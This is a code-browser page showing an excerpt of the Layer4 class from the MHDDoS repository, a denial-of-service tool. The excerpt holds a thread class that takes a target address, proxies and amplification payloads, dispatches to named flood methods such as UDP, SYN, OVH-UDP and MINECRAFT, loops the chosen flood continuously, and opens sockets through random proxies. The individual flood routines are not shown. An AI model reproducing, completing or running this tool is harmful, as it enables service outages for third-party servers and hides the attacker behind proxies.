MCPcopy Index your code
hub / github.com/MatrixTM/MHDDoS / Layer4

Class Layer4

start.py:439–772  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

437
438# noinspection PyBroadException,PyUnusedLocal
439class Layer4(Thread):
440 _method: str
441 _target: Tuple[str, int]
442 _ref: Any
443 SENT_FLOOD: Any
444 _amp_payloads = cycle
445 _proxies: List[Proxy] = None
446
447 def __init__(self,
448 target: Tuple[str, int],
449 ref: List[str] = None,
450 method: str = "TCP",
451 synevent: Event = None,
452 proxies: Set[Proxy] = None,
453 protocolid: int = 74):
454 Thread.__init__(self, daemon=True)
455 self._amp_payload = None
456 self._amp_payloads = cycle([])
457 self._ref = ref
458 self.protocolid = protocolid
459 self._method = method
460 self._target = target
461 self._synevent = synevent
462 if proxies:
463 self._proxies = list(proxies)
464
465 self.methods = {
466 "UDP": self.UDP,
467 "SYN": self.SYN,
468 "VSE": self.VSE,
469 "TS3": self.TS3,
470 "MCPE": self.MCPE,
471 "FIVEM": self.FIVEM,
472 "FIVEM-TOKEN": self.FIVEMTOKEN,
473 "OVH-UDP": self.OVHUDP,
474 "MINECRAFT": self.MINECRAFT,
475 "CPS": self.CPS,
476 "CONNECTION": self.CONNECTION,
477 "MCBOT": self.MCBOT,
478 }
479
480 def run(self) -> None:
481 if self._synevent: self._synevent.wait()
482 self.select(self._method)
483 while self._synevent.is_set():
484 self.SENT_FLOOD()
485
486 def open_connection(self,
487 conn_type=AF_INET,
488 sock_type=SOCK_STREAM,
489 proto_type=IPPROTO_TCP):
490 if self._proxies:
491 s = randchoice(self._proxies).open_socket(
492 conn_type, sock_type, proto_type)
493 else:
494 s = socket(conn_type, sock_type, proto_type)
495 s.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
496 s.settimeout(.9)

Callers 1

start.pyFile · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected